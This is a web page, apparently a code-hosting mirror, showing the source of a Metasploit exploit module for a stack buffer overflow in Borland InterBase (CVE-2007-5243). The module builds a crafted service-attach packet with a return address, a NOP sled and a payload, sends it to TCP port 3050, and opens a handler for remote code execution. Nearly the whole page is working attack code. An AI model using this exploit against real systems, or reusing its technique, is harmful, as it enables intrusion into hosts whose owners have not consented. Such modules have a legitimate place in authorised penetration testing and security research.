Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/misc/ib_inet_connect.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(update_info(info,12'Name' => 'Borland InterBase INET_connect() Buffer Overflow',13'Description' => %q{14This module exploits a stack buffer overflow in Borland InterBase15by sending a specially crafted service attach request.16},17'Author' =>18[19'Ramon de C Valle',20'Adriano Lima <adriano[at]risesecurity.org>',21],22'Arch' => ARCH_X86,23'Platform' => 'linux',24'References' =>25[26[ 'CVE', '2007-5243' ],27[ 'OSVDB', '38605' ],28[ 'BID', '25917' ],29[ 'URL', 'http://www.risesecurity.org/advisories/RISE-2007002.txt' ],30],31'Privileged' => true,32'License' => MSF_LICENSE,33'Payload' =>34{35'Space' => 512,36'BadChars' => "\x00\x2f\x3a\x40\x5c",37},38'Targets' =>39[40# 0x0804d2ee 5b5e5f5dc341[42'Borland InterBase LI-V8.0.0.53 LI-V8.0.0.54 LI-V8.1.0.253',43{ 'Ret' => 0x0804d2ee }44],45],46'DefaultTarget' => 0,47'DisclosureDate' => '2007-10-03'48))4950register_options(51[52Opt::RPORT(3050)53],54self.class55)5657end5859def exploit6061connect6263# Attach database64op_attach = 196566# Create database67op_create = 206869# Service attach70op_service_attach = 827172length = 16173remainder = length.remainder(4)74padding = 07576if remainder > 077padding = (4 - remainder)78end7980buf = ''8182# Operation/packet type83buf << [op_service_attach].pack('N')8485# Id86buf << [0].pack('N')8788# Length89buf << [length].pack('N')9091# Random alpha data92buf << rand_text_alpha(length - 5)9394# Target95buf << [target.ret].pack('L')9697# Separator98buf << ':'99100# Padding101buf << "\x00" * padding102103# Database parameter block104105# Length106buf << [1024].pack('N')107108# It will return into this nop block109buf << make_nops(1024 - payload.encoded.length)110111# Payload112buf << payload.encoded113114sock.put(buf)115116handler117118end119end120121122